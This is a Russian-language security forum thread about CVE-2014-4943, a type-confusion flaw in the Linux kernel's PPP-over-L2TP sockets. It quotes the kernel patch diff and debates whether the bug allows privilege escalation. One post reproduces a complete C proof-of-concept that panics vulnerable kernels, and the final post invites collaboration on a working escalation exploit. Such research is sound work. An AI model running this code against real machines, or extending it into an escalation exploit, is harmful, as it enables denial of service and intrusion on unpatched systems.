Старый 17.07.2014, 14:49   #1
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию CVE-2014-4943 Linux privesc in ppp over l2tp sockets

CVE-2014-4943

Цитата:
CVE-2014-4943 is a flaw in the Linux kernel allowing an unprivileged user to escalate to kernel privilege when CONFIG_PPPOL2TP is enabled.
В юбунте активировано, из красных шапок уязвима 7-я линейка.

https://git.kernel.org/linus/3cf521f...7aa2593c2f3daf

Пишут, напоминает UIPC баг во фре, для которого overxor написал эксплойт.

Код:
diff --git a/net/l2tp/l2tp_ppp.c b/net/l2tp/l2tp_ppp.c
index 950909f..13752d9 100644
--- a/net/l2tp/l2tp_ppp.c
+++ b/net/l2tp/l2tp_ppp.c
@@ -1365,7 +1365,7 @@ static int pppol2tp_setsockopt(struct socket *sock, int level, int optname,
int err;
if (level != SOL_PPPOL2TP)
- return udp_prot.setsockopt(sk, level, optname, optval, optlen);
+ return -EINVAL;
if (optlen < sizeof(int))
return -EINVAL;
@@ -1491,7 +1491,7 @@ static int pppol2tp_getsockopt(struct socket *sock, int level, int optname,
struct pppol2tp_session *ps;
if (level != SOL_PPPOL2TP)
- return udp_prot.getsockopt(sk, level, optname, optval, optlen);
+ return -EINVAL;
if (get_user(len, optlen))
return -EFAULT;
SynQ вне форума   Ответить с цитированием
Старый 10.08.2014, 18:46   #2
vnik
 
Регистрация: 07.07.2014
Сообщений: 7
Репутация: 0
По умолчанию

I don't see how this is related to the UIPC bug. in fact, I don't think it should be tagged with "priv escalation" at all? I did look at 3.10..
vnik вне форума   Ответить с цитированием
Старый 12.08.2014, 08:43   #3
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

https://github.com/torvalds/linux/bl...inux/udp.h#L42
http://lxr.free-electrons.com/source...et/sock.h#L296
https://github.com/torvalds/linux/bl...v4/udp.c#L2059
https://git.kernel.org/cgit/linux/ke...442212ab#n1373

vnik
Да, на UIPC heap overflow не похоже, насколько могу судить предполагалось, что через udp_setsockopt можно было отредактировать поля структуры sock вместо udp_sock, вроде указателя, и использовать это?
SynQ вне форума   Ответить с цитированием
Старый 12.08.2014, 09:34   #4
vnik
 
Регистрация: 07.07.2014
Сообщений: 7
Репутация: 0
По умолчанию

да, это typecasting issue. setting level = SOL_UDP, you'll trigger udp_lib_setsockopt on a non-UDP socket. however, there is nothing potentially exploitable (yes, you can overwrite corkflag, encap_rcv struct fields..) but no function pointers, etc.
vnik вне форума   Ответить с цитированием
Старый 05.03.2015, 11:06   #5
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

PoC:
Код:
 
 
/* ----------------------------------------------------------------------------------------------------
 * cve-2014-4943_poc.c
 * 
 * The PPPoL2TP feature in net/l2tp/l2tp_ppp.c in the Linux kernel through 3.15.6 allows local users to gain privileges by leveraging data-structure 
 * differences between an l2tp socket and an inet socket. 
 * 
 * This is a POC to reproduce vulnerability. No exploitation here, just simple kernel panic.
 * I have tried to exploit this vulnerability and I am sure there is a way (or several) to elevate privileges.
 * There are some kernel structures that can be overwriten but I didn't manage to find the ultimate trick to at least point back to userland.
 * If seems guys at immunuty found a way using race condition.
 *
 * 
 * Compile with gcc -fno-stack-protector -Wall -o cve-2014-4943_poc cve-2014-4943_poc.c  
 * 
 * Emeric Nasi - www.sevagas.com
 *-----------------------------------------------------------------------------------------------------*/
  
 
  
/* -----------------------   Includes ----------------------------*/
 
#include <netinet/ip.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <linux/net.h>
#include <linux/udp.h>
#include <linux/if.h>
#include <linux/if_pppox.h>
#include <linux/if_pppol2tp.h>
 
 
/* -----------------------   Definitions ----------------------------*/
 
#define TARGET_KERNEL_MIN "3.2.0"
#define TARGET_KERNEL_MAX "3.15.6"
#define EXPLOIT_NAME "cve-2014-4943"
 
 
 
/* -----------------------   functions ----------------------------*/
 
 
/**
 * It is possible to modify several parts of socket object using IP options frop UDP setsockopt
 * For this POC, IP_OPTIONS is the easiest way to panic kernel
 */
void modifyUDPvalues(int tunnel_fd)
{
/* Extract from kernel code which is vulnerable, here you can see that both udp_setsockopt and ip_setsockopt (on inet_sock) can be used to leverage vulnerability:
   
 int udp_setsockopt(struct sock *sk, int level, int optname,
                    char __user *optval, unsigned int optlen)
 {
         if (level == SOL_UDP  ||  level == SOL_UDPLITE)
                 return udp_lib_setsockopt(sk, level, optname, optval, optlen,
                                           udp_push_pending_frames);
         return ip_setsockopt(sk, level, optname, optval, optlen);
 }
*/
	
	int ip_options = 0x1;
     
	if (setsockopt(tunnel_fd, SOL_IP,  IP_OPTIONS, &ip_options, 20) == -1) 
    {
        perror("setsockopt (IP_OPTIONS)");   
    }
}
 
 
/**
 * DOS poc for cve_2014_4943 vulnerability
 */
int main()
{
 
	int tunnel_fd;
	int tunnel_fd2;
	int udp_fd;
 
	printf("[cve_2014_4943]: Preparing to exploit.\n");
 
	/* Create first L2TP socket */
	tunnel_fd = socket(AF_PPPOX, SOCK_DGRAM, PX_PROTO_OL2TP);
	if (tunnel_fd < 0)
	{
		perror("socket(AF_PPPOX, SOCK_DGRAM, PX_PROTO_OL2TP)");
		return -1;
	}
	/* Create second L2TP socket */
	tunnel_fd2 = socket(AF_PPPOX, SOCK_DGRAM, PX_PROTO_OL2TP);
	if (tunnel_fd2 < 0)
	{
		perror("socket(AF_PPPOX, SOCK_DGRAM, PX_PROTO_OL2TP)");
		return -1;
	}
	if ((udp_fd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) 
	{
		perror("cannot create socket"); 
		return -1; 
	}
	
	/* Connect LT2P socket */
	struct sockaddr_pppol2tp sax;
 
	memset(&sax, 0, sizeof(sax));
	sax.sa_family = AF_PPPOX;
	sax.sa_protocol = PX_PROTO_OL2TP;
	sax.pppol2tp.fd = udp_fd;       /* fd of tunnel UDP socket */
	sax.pppol2tp.addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);// peer_addr->sin_addr.s_addr;
	sax.pppol2tp.addr.sin_port = htons(1337);//peer_addr->sin_port;
	sax.pppol2tp.addr.sin_family = AF_INET;
	sax.pppol2tp.s_tunnel = 8;//tunnel_id;
	sax.pppol2tp.s_session = 0;     /* special case: mgmt socket */
	sax.pppol2tp.d_tunnel = 0;
	sax.pppol2tp.d_session = 0;     /* special case: mgmt socket */
	if(connect(tunnel_fd, (struct sockaddr *)&sax, sizeof(sax) ) < 0 )
	{
		perror("connect failed");
	}
	
	/* Connect LT2P socket */
	struct sockaddr_pppol2tp sax2;
 	memset(&sax, 0, sizeof(sax2));
	sax2.sa_family = AF_PPPOX;
	sax2.sa_protocol = PX_PROTO_OL2TP;
	sax2.pppol2tp.s_tunnel = 8;//tunnel_id;
	sax2.pppol2tp.s_session = 1;     
	sax2.pppol2tp.d_tunnel = 0;
	sax2.pppol2tp.d_session = 1;     
	if(connect(tunnel_fd2, (struct sockaddr *)&sax2, sizeof(sax2) ) < 0 )
	{
		perror("connect failed");
	}
	
	
	/*
     * Entering critical part
     */
    printf("[cve_2014_4943]:  Panic!\n");
	
	//modifyUDPvalues(tunnel_fd);
	modifyUDPvalues(tunnel_fd2);
	
	// close opened socket	
	puts("\n [+] Closing sockets...");
	close(tunnel_fd);
	close(tunnel_fd2);
    
	exit(0);
}
SynQ вне форума   Ответить с цитированием
Старый 11.10.2015, 12:09   #6
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

CVE-2014-4943 - PPPoL2TP DoS Analysis by Vitaly Nikolenko
SynQ вне форума   Ответить с цитированием
Старый 07.12.2015, 02:41   #7
vnik
 
Регистрация: 07.07.2014
Сообщений: 7
Репутация: 0
По умолчанию

У Immunity уже давно рабочий 32 бит экслойт https://vimeo.com/104520979. Понятия не имею как они сделали. взял ту же самую версию как в их видео и вроде все проверил что перезаписывается через udp_setsockopt но все что можно сделать это dos. Очень интересно. Если кто то заинтересован сделать рабочую версию, пишите. Есть уже готовая VM с vmlinux and pppol2tp.ko с debugging symbols.
vnik вне форума   Ответить с цитированием
Ответ

Метки
linux kernel, privilege escalation

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot